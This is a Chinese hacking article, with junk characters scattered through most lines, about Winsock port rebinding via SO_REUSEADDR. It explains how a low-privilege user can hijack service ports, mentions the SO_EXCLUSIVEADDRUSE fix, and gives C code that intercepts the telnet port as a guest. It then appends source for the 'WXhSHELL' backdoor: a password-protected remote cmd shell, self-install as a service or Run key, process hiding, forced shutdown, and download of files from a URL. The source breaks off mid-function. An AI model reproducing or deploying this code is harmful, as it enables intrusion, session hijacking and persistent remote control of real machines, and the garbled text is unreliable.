在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
p:4vjh=1h s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
jG.*tuf
RMi
2Ip saddr.sin_family = AF_INET;
LXXxwIBS p19Zxh saddr.sin_addr.s_addr = htonl(INADDR_ANY);
uWfse19 U|
N`X54 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
6B+
@76w H -%t0'cKn, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
n[iil$VKh 5 ;|9bWH 这意味着什么?意味着可以进行如下的攻击:
1qQgAhoY hD$U8~zK 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)(ma Gf%o|kX] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`8y & k~vmHb 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Gg;#U` KBJ|P^W5j 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
P'
J_:\ @+{S-iD" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
uY;/3?k& \7C >4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\JyWKET::_ gai?LXM
l} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#qn)Nq( /=3g-$o{` #include
Ha/\&Z( #include
3>jz3>v@ #include
dT|z)-Z` #include
UfkRY<H DWORD WINAPI ClientThread(LPVOID lpParam);
=}q4ked/ int main()
f0[xMn0Tu {
,F*e^#> WORD wVersionRequested;
ebao7r5@ DWORD ret;
t|y4kM WSADATA wsaData;
wR4P0[ BOOL val;
=~arj SOCKADDR_IN saddr;
r2<+ =INn SOCKADDR_IN scaddr;
IIu3mXAw int err;
FVD}9ia SOCKET s;
6?a(@<k_ SOCKET sc;
(Dn-vY' int caddsize;
.(hb8 rCM HANDLE mt;
-e)bq:T DWORD tid;
nRo`O wVersionRequested = MAKEWORD( 2, 2 );
e;pNB err = WSAStartup( wVersionRequested, &wsaData );
,
m\0IgZdz if ( err != 0 ) {
C )I"yeS. printf("error!WSAStartup failed!\n");
DQ9s57VxC! return -1;
T,IV)aq }
wM yPR_ saddr.sin_family = AF_INET;
n$Pv2qw JRiuU:=J~` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
\W\6m0-x KXM-GIRUG saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
.o-j saddr.sin_port = htons(23);
Lhc@*_2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<.' cCY {
J`8>QMK^5 printf("error!socket failed!\n");
s<dD>SU return -1;
@t2 Q5c }
SKtEEFyIR_ val = TRUE;
7L\GI`y //SO_REUSEADDR选项就是可以实现端口重绑定的
y$&a(S] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
2$Ji4`p}S {
GHlra^ printf("error!setsockopt failed!\n");
njX:[_& return -1;
g SwG=e\ }
QbNv+Eu5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
jQr~@15J# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$XI<s$P%(% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
PRLV1o1# ljis3{kn"" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
bOFLI#p& {
0iE).Za0g ret=GetLastError();
eHJ7L8# printf("error!bind failed!\n");
b{ozt\: M return -1;
."^dJ |fN }
2%<jYm#'z- listen(s,2);
}?~uAU- while(1)
O}`01A!u; {
:aqh8bv caddsize = sizeof(scaddr);
\|pAn //接受连接请求
T7T!v sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<F3sQAe
if(sc!=INVALID_SOCKET)
aK>9:{]ez {
]T l\9we mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
nSow$6T_ if(mt==NULL)
{x4[Bx1 {
FezW/+D printf("Thread Creat Failed!\n");
otIJ[Mvyq break;
?.A|Fy^ }
pkU e|V }
u7C{> CloseHandle(mt);
2%qn!+. }
Wu4Nq+ closesocket(s);
"[?/I3{E WSACleanup();
?xo,)`` return 0;
i]-gO }
_]S6> DWORD WINAPI ClientThread(LPVOID lpParam)
+{%4&T<nHw {
55cldo SOCKET ss = (SOCKET)lpParam;
]6;AK\9TM SOCKET sc;
7, 13g) unsigned char buf[4096];
9HE(*S SOCKADDR_IN saddr;
G}-.xj] long num;
4d 3Znpf DWORD val;
&v-V_.0(H DWORD ret;
5>@uEebkv] //如果是隐藏端口应用的话,可以在此处加一些判断
} E#+7a //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
LA?\~rh! saddr.sin_family = AF_INET;
Z
:9VxZ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
LJ/qF0L!H saddr.sin_port = htons(23);
UjDF if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
yKB[HpU- {
`I>K? printf("error!socket failed!\n");
xI:
'Hk1 return -1;
+.lWck }
huoKr val = 100;
,4Fqvg if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
pG( knu {
y9L#@ ret = GetLastError();
%7evPiNB return -1;
?Bzi#Z }
tvOAN|+F if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~0-764% {
e]
K=Nm ret = GetLastError();
BR^J y<^F' return -1;
Vrj1$NL% }
iW}l[g8sw! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
J=X%
xb {
<VU4rk^= printf("error!socket connect failed!\n");
y,&M\3A closesocket(sc);
hcgc
=$^ closesocket(ss);
p},Fwbl return -1;
yOK])&c }
SO<m(o)G2 while(1)
0Ad~!Y+1 {
dn\F! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
0Mu8ZVI{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
o$ce1LO?|N //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
KF_Wu}q
d num = recv(ss,buf,4096,0);
^A[`NYK if(num>0)
'98h<(@] send(sc,buf,num,0);
~{vdP=/WP else if(num==0)
MgQU6O< break;
HD)HCDTX num = recv(sc,buf,4096,0);
~J-|,ZMd if(num>0)
5;
PXF send(ss,buf,num,0);
$XQxWH| else if(num==0)
|NU0tct^ break;
qysa!B }
3Y{)(%I closesocket(ss);
p RwGv closesocket(sc);
UB$`;'|i return 0 ;
2rCY&8 }
}=hoATs +z=%89GJ %i-lx`U ==========================================================
"q^#39i? S[~O') 下边附上一个代码,,WXhSHELL
cN WcNMm =/g$bZ ==========================================================
Ydh<T F4! 9V;$v #include "stdafx.h"
uUz`= 4%A !
F <] T #include <stdio.h>
@ 9 {%Kn #include <string.h>
2d2@ J{ #include <windows.h>
[9O~$! <% #include <winsock2.h>
E,LYS"%_ #include <winsvc.h>
F[kW:-ne@Z #include <urlmon.h>
zZ9<4"CIk 9*|3E"Vr #pragma comment (lib, "Ws2_32.lib")
%md^S
| #pragma comment (lib, "urlmon.lib")
V 7l{hEo3? ?JgO-. #define MAX_USER 100 // 最大客户端连接数
H_?B{We #define BUF_SOCK 200 // sock buffer
hOB\n! #define KEY_BUFF 255 // 输入 buffer
eky(;%Sz r)p2'+}pV #define REBOOT 0 // 重启
.ts0LDk0f #define SHUTDOWN 1 // 关机
4`6c28K0? N<06sRg# #define DEF_PORT 5000 // 监听端口
V(2,\+ t +^*5${g;@H #define REG_LEN 16 // 注册表键长度
F@$RV_M #define SVC_LEN 80 // NT服务名长度
_@!QY
~zxwg+:QO // 从dll定义API
``$%L=_m typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
M%&A.j[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
n#>.\F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
vK6ibl0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
qB F!b0lr R6!cK[e]4 // wxhshell配置信息
{jhmp\PN struct WSCFG {
"%E-X:Il# int ws_port; // 监听端口
7-d}pgVK char ws_passstr[REG_LEN]; // 口令
{OO*iZ.O int ws_autoins; // 安装标记, 1=yes 0=no
OK-sT7But char ws_regname[REG_LEN]; // 注册表键名
E69:bQ94u char ws_svcname[REG_LEN]; // 服务名
PZuq'^p char ws_svcdisp[SVC_LEN]; // 服务显示名
<!~1{`n%9J char ws_svcdesc[SVC_LEN]; // 服务描述信息
u
m:0y, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$_RWd#Q( int ws_downexe; // 下载执行标记, 1=yes 0=no
GsIwY {d char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
DB`$Ru@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9q1HSJ1) 5wH54gj} };
TCHqe19? f v E+.{ // default Wxhshell configuration
rFmKmV struct WSCFG wscfg={DEF_PORT,
/5Zp-Pq "xuhuanlingzhe",
y9C;T(oi; 1,
S jVsF1d_ "Wxhshell",
X,TTM,1w "Wxhshell",
_[OF"X2 "WxhShell Service",
U{uPt*GUd/ "Wrsky Windows CmdShell Service",
u C,"5C "Please Input Your Password: ",
]C16y.
~e 1,
;&Bna#~B "
http://www.wrsky.com/wxhshell.exe",
]V36-%^ "Wxhshell.exe"
><NI'q*cQ };
<0u\dU vi]r // 消息定义模块
&8<<!#ob char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
yo\N[h7 char *msg_ws_prompt="\n\r? for help\n\r#>";
EBoGJ_l char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
b
, juF2 char *msg_ws_ext="\n\rExit.";
M{?zvq?d char *msg_ws_end="\n\rQuit.";
C.J`8@a]? char *msg_ws_boot="\n\rReboot...";
Oj4v#GK] char *msg_ws_poff="\n\rShutdown...";
4\LZD{ char *msg_ws_down="\n\rSave to ";
rv9B}%e #NvQmz?J? char *msg_ws_err="\n\rErr!";
;,1=zhKU. char *msg_ws_ok="\n\rOK!";
lPM3}52Xu pOC% oj char ExeFile[MAX_PATH];
f64(a\Rw!^ int nUser = 0;
Fe!D%p Qv HANDLE handles[MAX_USER];
^WE4*.( int OsIsNt;
YD&|1h F9(._ow[ SERVICE_STATUS serviceStatus;
GX4QaT% SERVICE_STATUS_HANDLE hServiceStatusHandle;
_om0
e=5) AV40:y\RW // 函数声明
Q6"uK int Install(void);
4k8*E5cx int Uninstall(void);
P$Z} int DownloadFile(char *sURL, SOCKET wsh);
z]kwRWe`j int Boot(int flag);
B*\$
/bk, void HideProc(void);
!FTNmyM~F int GetOsVer(void);
9-0<*)"b> int Wxhshell(SOCKET wsl);
IY=/`g void TalkWithClient(void *cs);
AXwaVLEBQ int CmdShell(SOCKET sock);
*YWk1Cwjo int StartFromService(void);
00ofHZ int StartWxhshell(LPSTR lpCmdLine);
Btj#EoSI_ %.mEBI=hs VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
W'a(oI VOID WINAPI NTServiceHandler( DWORD fdwControl );
hd+]Ok7" l)4O . * // 数据结构和表定义
sI_7U^"[ SERVICE_TABLE_ENTRY DispatchTable[] =
eGm:)
{
$
+;+:K {wscfg.ws_svcname, NTServiceMain},
/;?M?o"H {NULL, NULL}
Xka<I3UD5 };
U@G"`RYl a1Hz3y~S/ // 自我安装
HcRa`Sfc]/ int Install(void)
]r4bRK[1 {
qO-9
x0v# char svExeFile[MAX_PATH];
/<);=&[ HKEY key;
<,"4k&0Q>V strcpy(svExeFile,ExeFile);
+`@M*kd q\%cFB} // 如果是win9x系统,修改注册表设为自启动
j 5Qo*p if(!OsIsNt) {
{7*>Cv} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^/HW$8wEi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
UtnZNdlv RegCloseKey(key);
nq"evD5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`vd= ec RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'+j<n[JLC RegCloseKey(key);
bu>qsU3 return 0;
$B;_Jo\| }
WJ|:kuF }
~9\$5n)a }
Tc6:UF else {
='Q{R*u *U;'OWE[ // 如果是NT以上系统,安装为系统服务
v,=v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
c.AYxI" if (schSCManager!=0)
T .REq4< {
j9d!yW SC_HANDLE schService = CreateService
#] CFA9z (
=-NiO@5o schSCManager,
:_5/u|{
wscfg.ws_svcname,
<3TA>Dz wscfg.ws_svcdisp,
ndink$ SERVICE_ALL_ACCESS,
F>zl9Vi< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
rYY$wA@ SERVICE_AUTO_START,
LCs__. SERVICE_ERROR_NORMAL,
[U>@,BH svExeFile,
.Obn&S NULL,
9i5tVOhE NULL,
K{@3\5< NULL,
N|mJg[j@7 NULL,
Xd<t5{bD! NULL
S4N(cn& );
('O}&F1 if (schService!=0)
D-2.fjo9! {
7Vu ? CloseServiceHandle(schService);
qH>`}/,P CloseServiceHandle(schSCManager);
%dMqpY7" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
L[g0&b%%- strcat(svExeFile,wscfg.ws_svcname);
*>NX%by) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
PRkSQ4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
bDnZcf RegCloseKey(key);
%ft &Q return 0;
eg/<[ A: }
MP^ d}FL }
AH#4wPxF CloseServiceHandle(schSCManager);
:XG;ru%i }
3*ixlO:qGk }
[kV;[c} fpWg R4__ return 1;
Os&n }
Su8|R"qU \25/$Ae}c // 自我卸载
cc}Key@D int Uninstall(void)
7a4o1;l {
<IJu7t> HKEY key;
(xl\J/ d>0+A)6> if(!OsIsNt) {
K4Sk+
v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
yNg9X(U RegDeleteValue(key,wscfg.ws_regname);
G(iJi RegCloseKey(key);
q[3x2sR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i;z{zVR RegDeleteValue(key,wscfg.ws_regname);
^T5X)Nu{=C RegCloseKey(key);
h6_(?|:-( return 0;
C NsNZJ }
m8R9{LC }
JL=U,Mr6 }
H
3@Z.D else {
lg: t?c}L7ht SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Rk6deI] if (schSCManager!=0)
({s6eqMhDd {
asJ!NvVG' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
'1?\/,em if (schService!=0)
1'.7_EQ4T {
z~*g ~RKS! if(DeleteService(schService)!=0) {
@"-</x3o CloseServiceHandle(schService);
n">u mM;Eh CloseServiceHandle(schSCManager);
nDS}^Ba return 0;
^y!;xc$(Qs }
(*p ,T CloseServiceHandle(schService);
]rehW} }
sRSz}] CloseServiceHandle(schSCManager);
j/`94'Y }
kIHDeo%K} }
<%.5hCTp97 !Ucjax~ return 1;
b[9&l|y^ }
/X"/ha!=&D ]\-^>!F #K // 从指定url下载文件
^I8Esl8 int DownloadFile(char *sURL, SOCKET wsh)
ncu`vYI. {
N;Dp~(1
J1 HRESULT hr;
>F1kR\! char seps[]= "/";
5|3e& char *token;
v
^[39*8 char *file;
r={c,i char myURL[MAX_PATH];
@"a6fn char myFILE[MAX_PATH];
+T/FeVQ K 0gI): strcpy(myURL,sURL);
z>sbr<doa token=strtok(myURL,seps);
L`f^y;Y. while(token!=NULL)
5oEV-6 {
o#) {1<0vg file=token;
*IgE)N> token=strtok(NULL,seps);
De7Ts }
=4V&*go*\ ZkL8 e GetCurrentDirectory(MAX_PATH,myFILE);
gE#>RM5D strcat(myFILE, "\\");
j',W 64 strcat(myFILE, file);
k@zy send(wsh,myFILE,strlen(myFILE),0);
v+p{|X- send(wsh,"...",3,0);
d->|EJP hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
XO#/Fv! if(hr==S_OK)
rX_@Ihv' return 0;
X%z }VA else
+$4(zPs@ return 1;
dS^T$sz.co Vk<
LJ
S }
|*Z$E$k: Lg8nj< TF // 系统电源模块
zp\8_ U@ int Boot(int flag)
'iLpE7 {
4tL<q_ HANDLE hToken;
~wg:!VWA) TOKEN_PRIVILEGES tkp;
X%yO5c\l2 ]7-&V-Ct* if(OsIsNt) {
Qt_dEl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
coYij LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:0Z^uuk`gq tkp.PrivilegeCount = 1;
?X@fKAj tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
n]8<DX99Q0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
%X#zj" if(flag==REBOOT) {
~l;[@jsw F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
f{SB1M return 0;
@`\VBW }
(&/2\0QV else {
}VDqj}is if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
wFG3KzEq ~ return 0;
8XbA'% o }
@lJzr3}WZ }
<ZU=6Hq else {
Gt9&)/# if(flag==REBOOT) {
IV\J3N^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2WUT/{:X return 0;
Uj&W<'I }
xsWur(> ] else {
\*=7#Vd if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
'SQG>F Uy return 0;
[O:
!(Gje }
SG6sw]x }
j*~T1i ySI~{YVM return 1;
VfT*7_ }
~-wPP{! N !TW! // win9x进程隐藏模块
(O0Urm void HideProc(void)
R|i/lEq {
Da"j E <n3!{w3< HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
C6rg<tCH if ( hKernel != NULL )
NcY608C {
}9nDo*A"} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
qzb<J=FAU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
R8.CC1Ix FreeLibrary(hKernel);
K~ ;45Z2 }
'\jd#Kn'h {Zp\^/ return;
asJ)4ema }
L(X6-M: KK@.~'d // 获取操作系统版本
N!*_La=TuH int GetOsVer(void)
`^lYw:xA {
S_~z-`;h! OSVERSIONINFO winfo;
qCv20#!"| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
y8fsveX GetVersionEx(&winfo);
;5@ t[r if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
&+G"k~% return 1;
qKJSj
else
Y!;|ld return 0;
bXS:x }
c6Y\n%d& ;NNe!}C // 客户端句柄模块
kI%%i>Y} int Wxhshell(SOCKET wsl)
\>Efd {
5xii(\lC SOCKET wsh;
4DTzSy:x struct sockaddr_in client;
`"%T=w DWORD myID;
4lZ$;:Jg q%ow/!\; while(nUser<MAX_USER)
$0arz{Oh {
+f[ED4E>'( int nSize=sizeof(client);
I$8" N]/C wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
NH3cq if(wsh==INVALID_SOCKET) return 1;
z
$MV%F S4=R^];l handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Q,80 Hor#J if(handles[nUser]==0)
IgC}& closesocket(wsh);
s|D>- else
W\18{mbuy nUser++;
(ND4Q[*6 }
j;+?HbL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Y"KE7>Jf umdG(osR return 0;
fHZTXvxoL }
n`4K4y%Dy} w |l1' // 关闭 socket
KM`eIw>8 void CloseIt(SOCKET wsh)
}2ZsHM^]% {
*3D%<kVl closesocket(wsh);
] Eh}L nUser--;
><=gV~7lx ExitThread(0);
1
E22R }
eAqz3#_My l&}y/t4% // 客户端请求句柄
CpJ0m-7aIH void TalkWithClient(void *cs)
uPniLx\t: {
Y[ N^p#t{ lSH6>0#B SOCKET wsh=(SOCKET)cs;
vVE7fq3 char pwd[SVC_LEN];
Kt(-@\)! char cmd[KEY_BUFF];
t-LG }nv char chr[1];
u a\,-> int i,j;
"]-Xmdk09 u<nLag while (nUser < MAX_USER) {
,~?YBLw@c RN@ctRS if(wscfg.ws_passstr) {
\cCV6A[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=w$}m_AM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
w}CmfR //ZeroMemory(pwd,KEY_BUFF);
GLGz2 ,# i=0;
\o';"Q1H while(i<SVC_LEN) {
z,|{fKtY} qgDRu ]ba // 设置超时
[b$4Shx fd_set FdRead;
LzCw+@-umw struct timeval TimeOut;
WQHd[2Z#e FD_ZERO(&FdRead);
<EST?.@~+ FD_SET(wsh,&FdRead);
|`;54_f TimeOut.tv_sec=8;
It75R}B TimeOut.tv_usec=0;
!\g+8> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Zc?ppO if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:f$x Qr4Qz uB7 V?A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
E#F/88( pwd
=chr[0]; *@TZ+{t
if(chr[0]==0xd || chr[0]==0xa) { N;+[`l
pwd=0; [{X^c.8G)
break; ?:Bv
iF);/
} +[xnZ$Iev
i++; (x q%
} ?h1H.s2X
=r@vc
// 如果是非法用户,关闭 socket z'`y,8Y 1l
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F0690v0mB[
} f#Xyoa%
sUYxT>R
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +\r+n~w
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1J'3 g
"al`$ %(
while(1) { }E_#k]#*
\8uIER5)
ZeroMemory(cmd,KEY_BUFF); )+Oujt
h`MF#617
// 自动支持客户端 telnet标准 _wdG|{px
j=0; 3su78e t}
while(j<KEY_BUFF) { x1ztfJd
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %r+vSGt;5
cmd[j]=chr[0]; |$7vI&m
if(chr[0]==0xa || chr[0]==0xd) { CX m+)a-L
cmd[j]=0; m5Tr-w$QY
break; "5A&_E }3
} Uw4>v:
j++; qn,O40/]
} %N#%|2B
!|<=ZF2
// 下载文件 Q%-di=
if(strstr(cmd,"http://")) { d9n?v)<v
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]
7 _`]7p
if(DownloadFile(cmd,wsh)) M,5"b+mX[~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sZLT<6_B
else ?,yj")+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DvM5 k
} 21(p|`X
else { `|Or{ih
eu|j=mB
switch(cmd[0]) { 4hw@yTUo
A0%}v*
// 帮助 +,2Jzl'-
case '?': { $TI5vhQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
U8(Nk\"X\
break; jg&E94}+
} ;us%/kOR
// 安装 ",)Qc!^P$
case 'i': { aTzjm`F0
if(Install()) !cGDy/|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "HYQqNj?Z
else 2On_'^O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Y@nVi
break; RyRpl*^
} Pm$q]A~
// 卸载 I7&_Xr
case 'r': { }y%oT
P&
if(Uninstall()) [{r}u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &gI ~LP
else i>[_r,-\[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u=YX9Mo!
break; ^_ojR4
} HV/c c"
// 显示 wxhshell 所在路径 3~#h|?
case 'p': { = P
char svExeFile[MAX_PATH]; IuZ) [*W
strcpy(svExeFile,"\n\r"); TT9z_Q5~
strcat(svExeFile,ExeFile); {-A^g!jT&
send(wsh,svExeFile,strlen(svExeFile),0); mYc.x
break; #Oha(mRY
} Gy[O)PEEh
// 重启 N4*G{g
case 'b': { :{q"G#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )a3IQrf=
if(Boot(REBOOT)) W(hMft%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vLxQ *50v$
else { r",]Voibd
closesocket(wsh); $'pNp
B#vH
ExitThread(0); Od?qz1
} -LM;}<
break;
.Gcy>Av
} +`uY]Q,O
// 关机 ^;c 16
case 'd': { Uje|`<X
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?GTU=gpQ
if(Boot(SHUTDOWN)) +I>p !v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'q * Bdx
else { P00f6
closesocket(wsh); $v8l0JA *
ExitThread(0); H\1qI7N C
} >]%8Zx[
break; }KD;0t4
} StI1){Wf
// 获取shell 2m>-dqg
case 's': { l6kmS
CmdShell(wsh); qOaQxRYm%Y
closesocket(wsh); kcDyuM`
ExitThread(0); s`Cy
a`
break; "G:<7oTa
} %{;Qls%[t
// 退出 3zT_^;:L
case 'x': { |;A/|F0-e
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Db"DG(
CloseIt(wsh); ;#MB7A
break; hAj1{pA,
} @t1V
o}c
// 离开 B-d(@7,1
case 'q': { +PK6-c\r
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,p;_\\<
closesocket(wsh); VYw%01#
WSACleanup(); IcIOC8WC
exit(1); 2 3KyCV5
break; A?Wk
wf
} \ (p{t
} ,_ag;pt9)
} |Oag,o"
)~jqW=d
2
// 提示信息 =e?$ M
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z2"?&pKV
} DF {OnF
} a ,7&"
abxDB
return; gK|R =J
} ftBq^tC
$<p8TtI=YQ
// shell模块句柄 h.K(P+h
int CmdShell(SOCKET sock) YRlDX:oX~
{ [Vf}NF
STARTUPINFO si;
fa.0I~
ZeroMemory(&si,sizeof(si)); F>gmj'-^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V^Rkt%JY
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tZ2e!<C
PROCESS_INFORMATION ProcessInfo; D@X+{
char cmdline[]="cmd"; /XS&d%y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E2B>b[
return 0; j<"nO(
} KjB/.4lLq
woq)\;CK
// 自身启动模式 5.tvB
int StartFromService(void) Tp<k<uKD
{ bzi|s5!'<
typedef struct pUl8{YGS
{ $\AEWFB
DWORD ExitStatus; nU`Lhh8y
DWORD PebBaseAddress; }%n5nLU`
DWORD AffinityMask; f=J<*h
DWORD BasePriority; 2>em0{e
ULONG UniqueProcessId; 6k?`:QK/sl
ULONG InheritedFromUniqueProcessId; GD-&_6a
} PROCESS_BASIC_INFORMATION; /NF# +bx
P%X-@0)
